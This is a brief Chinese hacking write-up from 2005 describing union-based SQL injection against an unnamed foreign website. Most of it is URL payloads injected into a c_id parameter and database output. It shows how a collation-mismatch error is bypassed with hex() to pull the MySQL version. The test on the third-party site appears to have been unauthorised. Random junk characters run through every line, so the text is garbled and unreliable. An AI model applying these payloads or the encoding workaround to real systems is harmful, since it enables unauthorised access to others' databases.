本文作者:SuperHei: |7 S E4 }: d7 S
文章性质:原创
: _ z ~3 u1 p3 ^8 ~发布日期:2005-10-18
2 L! b/ U' [$ n测试个国外的站时:- M& H; S, [+ e
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*0 r: v, o* T; ?# M. m/ \
返回错误:+ K \0 z% p+ w
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' Q" N4 `0 E: l3 S$ G5 V
MySQL Error No. 126% g5 f, J7 F/ I$ u8 P# L7 {
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
# v# k( e; k3 y+ A2 b/ W解决办法:转为其他编码如hex。" R; y8 C) J4 B
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*0 ]+ {: [* W! J# {1 R! L, G
成功得到hex(version())的值为:
/ z1 L' N/ q3 S' g; \2 K2 c342E312E332D626574617 W* Z3 ^ R: Q5 x3 V3 n; D. R( Q
回Mysql查询下得到:0 {" l O* I t; p# c( j* w7 B
mysql> select 0x342E312E332D62657461;
G ?0 v1 k [+ ~+------------------------+
9 ?) E/ h7 i/ F9 N2 k4 j| 0x342E312E332D62657461 |( B! w4 `- }% x- P6 u# @* x3 M
+------------------------+& y( l x% N* b
| 4.1.3-beta |, J/ ^$ K$ N" H* n. \/ e' W
+------------------------+
; t" m. K% G& y* n/ e1 row in set (0.00 sec)
( C% |9 N C4 w
, ]5 N* J9 Q1 D |